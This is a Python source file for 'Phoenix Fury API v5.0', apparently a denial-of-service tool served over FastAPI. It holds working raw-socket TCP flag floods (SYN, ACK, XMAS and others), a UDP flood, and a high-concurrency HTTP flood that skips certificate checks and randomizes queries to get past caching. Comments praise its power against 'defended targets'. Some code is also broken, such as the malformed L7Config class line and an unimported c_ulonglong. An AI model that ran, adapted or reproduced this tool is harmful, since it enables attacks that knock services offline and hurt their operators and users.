phoenix_fury_api.py

# ====================================================================================
#  PHOENIX FURY API v5.0 - COLOSSUS EDITION
#
#  - HYPER-STABLE CONNECTION HANDLING: The L7 worker now forces a new connection
#    per request. This is the critical fix for SSL/TLS errors under heavy load
#    against defended targets, preventing worker crashes and ensuring max RPS.
#  - ADVANCED SSL CONTEXT: Implements a proper, explicit SSL context for the
#    most reliable handling of HTTPS targets.
#  - PERFORMANCE GUIDANCE: The API now provides warnings and validation for
#    process counts, guiding the user towards optimal settings for their hardware
#    to prevent CPU thrashing and achieve true maximum throughput.
#  - ARCHITECTURALLY SOUND: Built upon the resilient Singleton Manager and
#    FastAPI BackgroundTasks from v4.0 for a rock-solid foundation.
#
#  *** The definitive, stable, and most powerful version for real-world testing. ***
# ====================================================================================

import socket
import struct
import random
import time
import multiprocessing
import threading
import asyncio
import aiohttp
import os
import sys
import psutil
import uvloop
import ssl
from typing import Literal, Optional, List, Union

# FastAPI & Pydantic
from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel, Field, validator
import uvicorn

# Apply uvloop for a faster asyncio event loop
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())

# --- Application Setup ---
app = FastAPI(
    title="🔥 Phoenix Fury API v5.0 - Colossus Edition",
    description="The definitive high-performance L4/L7 stress testing tool. Re-engineered for maximum stability and throughput against hardened targets.",
    version="5.0.0"
)

# --- Constants & Configuration ---
CPU_COUNT = psutil.cpu_count(logical=True)
STATS_BATCH_UPDATE_SIZE = 1000
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0"
]
HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br"}

# ====================================================================================
#  Pydantic API Models with Performance Validation
# ====================================================================================
class BaseAttackConfig(BaseModel):
    target: str = Field(..., description="Target hostname or IP address")
    port: int = Field(..., ge=1, le=65535, description="Target port")
    duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
    processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Defaults to {CPU_COUNT * 2}.")

    @validator('processes')
    def validate_processes(cls, v):
        if v > CPU_COUNT * 4:
            print(f"⚠️ WARNING: Process count ({v}) is very high for the number of CPU cores ({CPU_COUNT}). This may cause reduced performance due to CPU thrashing. Optimal is typically 1-4x CPU cores.")
        return v

class L4TCPConfig(BaseAttackConfig):
    method: Literal["syn", "ack", "fin", "rst", "psh", "urg", "xmas"] = Field("syn", description="TCP flag")

class L4UDPConfig(BaseAttackConfig):
    payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload in bytes.")

class L7Config(BaseAttack_config = BaseModel):
    concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
    path: str = Field("/", description="Request path")

class StatusResponse(BaseModel):
    attack_active: bool; attack_type: str; target_host: str; target_ip: str
    port: int; duration: int; elapsed_time: float; processes: int
    total_sent: int; current_rate_pps_rps: float
    cpu_usage_percent: float; memory_usage_percent: float

# ====================================================================================
#  Core Networking & Utils
# ====================================================================================
def check_root() -> bool:
    try: return os.geteuid() == 0
    except AttributeError: import ctypes; return ctypes.windll.shell32.IsUserAnAdmin() != 0

def resolve_target(target: str) -> str:
    try:
        if "://" in target: target = target.split("://")[1].split("/")[0]
        return socket.gethostbyname(target)
    except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}")

def get_local_ip(target_ip: str) -> str:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip

def calculate_checksum(data: bytes) -> int:
    s = 0
    if len(data) % 2: data += b'\0'
    for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
    s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff

# ====================================================================================
#  ATTACK WORKER PROCESSES (L4 & L7)
# ====================================================================================

# --- Layer 4 Worker (Unchanged, already optimized) ---
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        local_ip = get_local_ip(target_ip)
    except Exception as e:
        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return

    local_counter = 0
    ip_header_base = struct.pack('!BBHHHBBH4s4s', 69, 0, 0, 1, 0, 64, 0, 0, socket.inet_aton(local_ip), socket.inet_aton(target_ip))
    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32, "xmas": 41}
    
    if attack_type == 'tcp': flags = flag_map.get(method_details, 2)
    else: payload = os.urandom(method_details)

    while not stop_event.is_set():
        src_port = random.randint(1025, 65535)
        if attack_type == 'tcp':
            ip_header = ip_header_base[:6] + (socket.IPPROTO_TCP,).to_bytes(1, 'big') + ip_header_base[7:]
            tcp_header = struct.pack('!HHLLBBHHH', src_port, port, random.randint(1, 9999999), 0, 80, flags, 5840, 0, 0)
            pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(local_ip), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
            checksum = calculate_checksum(pseudo_header + tcp_header)
            tcp_header = tcp_header[:16] + struct.pack('!H', checksum) + tcp_header[18:]
            packet = ip_header + tcp_header
        else: # udp
            ip_header = ip_header_base[:6] + (socket.IPPROTO_UDP,).to_bytes(1, 'big') + ip_header_base[7:]
            udp_header = struct.pack('!HHHH', src_port, port, 8 + method_details, 0)
            packet = ip_header + udp_header + payload
        try:
            sock.sendto(packet, (target_ip, 0))
            local_counter += 1
            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                with shared_counter.get_lock(): shared_counter.value += local_counter
                local_counter = 0
        except: pass
    if local_counter > 0:
        with shared_counter.get_lock(): shared_counter.value += local_counter
    sock.close()

# --- Layer 7 Worker (Re-engineered for Stability) ---
async def l7_session_worker(session: aiohttp.ClientSession, url: str, method: str, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
    """The core task for a single persistent async worker."""
    local_counter = 0
    while not stop_event.is_set():
        try:
            # Use a fresh connection for each request for maximum stability
            async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
                local_counter += 1
        except (aiohttp.ClientError, asyncio.TimeoutError):
            # We expect errors in a stress test, count them as an attempt
            local_counter += 1
        except Exception:
            # Catch any other unexpected errors to keep the worker alive
            local_counter += 1
        finally:
            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                with shared_counter.get_lock(): shared_counter.value += local_counter
                local_counter = 0
            await asyncio.sleep(0) # Immediately yield to the event loop

    # Final count update before exiting
    if local_counter > 0:
        with shared_counter.get_lock(): shared_counter.value += local_counter

async def l7_worker_main(url: str, method: str, concurrency: int, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
    """Sets up the aiohttp session and spawns worker tasks."""
    headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}

    # CRITICAL FIX: Create a proper SSL context that does not verify certificates
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE

    # CRITICAL FIX: The connector is the key to stability.
    # force_close=True prevents reusing connections that the server may have
    # already terminated, which was the cause of the fatal SSL errors.
    connector = aiohttp.TCPConnector(
        limit=None,
        force_close=True, # This is the main fix for stability under hostile conditions
        ssl=ssl_context
    )

    timeout = aiohttp.ClientTimeout(total=10, connect=5)
    async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
        tasks = [l7_session_worker(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
        await asyncio.gather(*tasks)

def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
    """The entry point for a single L7 worker process."""
    protocol = "https" if port in [443, 8443, 4433] else "http"
    url = f"{protocol}://{target_ip}:{port}{path}"
    print(f"[PID {os.getpid()}] L7 Worker started for {url}")
    try:
        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
    except Exception as e:
        print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)

# ====================================================================================
#  CENTRALIZED ATTACK MANAGER (SINGLETON)
# ====================================================================================
class AttackManager:
    _instance = None
    
    def __new__(cls):
        if cls._instance is None:
            cls._instance = super(AttackManager, cls).__new__(cls)
            cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized: return
        self._initialized = True; self.lock = threading.Lock(); self.stats_thread = None; self._reset_state()

    def _reset_state(self):
        self.attack_active = False; self.attack_type = "None"; self.target_host = "None"
        self.target_ip = "None"; self.port = 0; self.duration = 0; self.start_time = 0.0
        self.process_count = 0; self.processes: List[multiprocessing.Process] = []
        self.stop_event = multiprocessing.Event()
        self.counter = multiprocessing.Value(c_ulonglong, 0); self.current_rate = 0.0

    def is_active(self):
        with self.lock: return self.attack_active

    def _stats_calculator(self):
        last_check_time = time.time(); last_count = 0
        while not self.stop_event.is_set():
            time.sleep(1)
            now = time.time(); current_count = self.counter.value; elapsed = now - last_check_time
            if elapsed > 0: self.current_rate = (current_count - last_count) / elapsed
            last_check_time = now; last_count = current_count
        self.current_rate = 0.0

    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
        with self.lock:
            if self.attack_active: return
            try:
                self.target_host = config.target; self.target_ip = resolve_target(self.target_host)
                if family == 'l4' and not check_root(): raise PermissionError("Layer 4 attacks require root privileges.")
            except (ValueError, PermissionError) as e:
                print(f"Attack validation failed: {e}", file=sys.stderr); self._reset_state(); return

            self.attack_active = True; self.port = config.port; self.duration = config.duration
            self.process_count = config.processes; self.start_time = time.time()
            
            worker_target, worker_args, attack_name = (None, None, "Unknown")
            if family == 'l7' and isinstance(config, L7Config):
                attack_name = f"L7-{config.method.upper()}"
                worker_target = l7_worker_process
                worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
            elif family == 'l4':
                if isinstance(config, L4TCPConfig):
                    attack_name = f"L4-TCP-{config.method.upper()}"
                    worker_target = l4_worker_process
                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
                elif isinstance(config, L4UDPConfig):
                    attack_name = "L4-UDP"; worker_target = l4_worker_process
                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
            self.attack_type = attack_name
            
            print("="*60 + f"\n🔥 PHOENIX FURY COLOSSUS - ATTACK SEQUENCE INITIATED 🔥\n" +
                  f"   Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
                  f"   Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)

            for _ in range(self.process_count):
                p = multiprocessing.Process(target=worker_target, args=worker_args); self.processes.append(p); p.start()
            self.stats_thread = threading.Thread(target=self._stats_calculator); self.stats_thread.start()

    def stop(self):
        with self.lock:
            if not self.attack_active: return
            print(f"\nStop signal received. Terminating {len(self.processes)} processes...")
            self.stop_event.set()
            for p in self.processes: p.join(timeout=5)
            for p in self.processes:
                if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
            if self.stats_thread: self.stats_thread.join(timeout=2)

            elapsed = time.time() - self.start_time
            total_sent = self.counter.value
            avg_rate = total_sent / elapsed if elapsed > 0 else 0
            print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f"   Total Sent: {total_sent:,}\n" +
                  f"   Elapsed Time: {elapsed:.2f} seconds\n" + f"   Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
            self._reset_state()

    def get_status(self) -> StatusResponse:
        with self.lock:
            return StatusResponse(
                attack_active=self.attack_active, attack_type=self.attack_type, target_host=self.target_host,
                target_ip=self.target_ip, port=self.port, duration=self.duration,
                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
                processes=self.process_count, total_sent=self.counter.value,
                current_rate_pps_rps=round(self.current_rate, 2),
                cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
            )

MANAGER = AttackManager()

# ====================================================================================
#  FASTAPI ENDPOINTS
# ====================================================================================
@app.on_event("startup")
def on_startup():
    print("="*50 + "\n🔥 Phoenix Fury API v5.0 - Colossus Edition is ready.")
    print(f"   Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
    if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
    else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
    print("="*50)

def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
    if MANAGER.is_active():
        raise HTTPException(status_code=409, detail="An attack is already in progress.")
    background_tasks.add_task(MANAGER.start, config, family)
    background_tasks.add_task(time.sleep, config.duration)
    background_tasks.add_task(MANAGER.stop)

@app.post("/attack/layer7")
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l7', background_tasks)
    return {"status": "success", "message": f"L7 attack initiated on {config.target}:{config.port}"}

@app.post("/attack/layer4/tcp")
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {"status": "success", "message": f"L4 TCP attack initiated on {config.target}:{config.port}"}

@app.post("/attack/layer4/udp")
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}

@app.post("/attack/stop")
def api_stop_attack():
    if not MANAGER.is_active(): return {"status": "info", "message": "No attack is currently running."}
    MANAGER.stop(); return {"status": "success", "message": "Stop signal sent."}

@app.get("/status", response_model=StatusResponse)
def get_status(): return MANAGER.get_status()

@app.get("/")
def root(): return {"message": "🔥 Phoenix Fury API v5.0 - Colossus Edition", "docs": "/docs"}

# --- Main Execution ---
if __name__ == "__main__":
    multiprocessing.freeze_support()
    uvicorn.run(app, host="0.0.0.0", port=8000)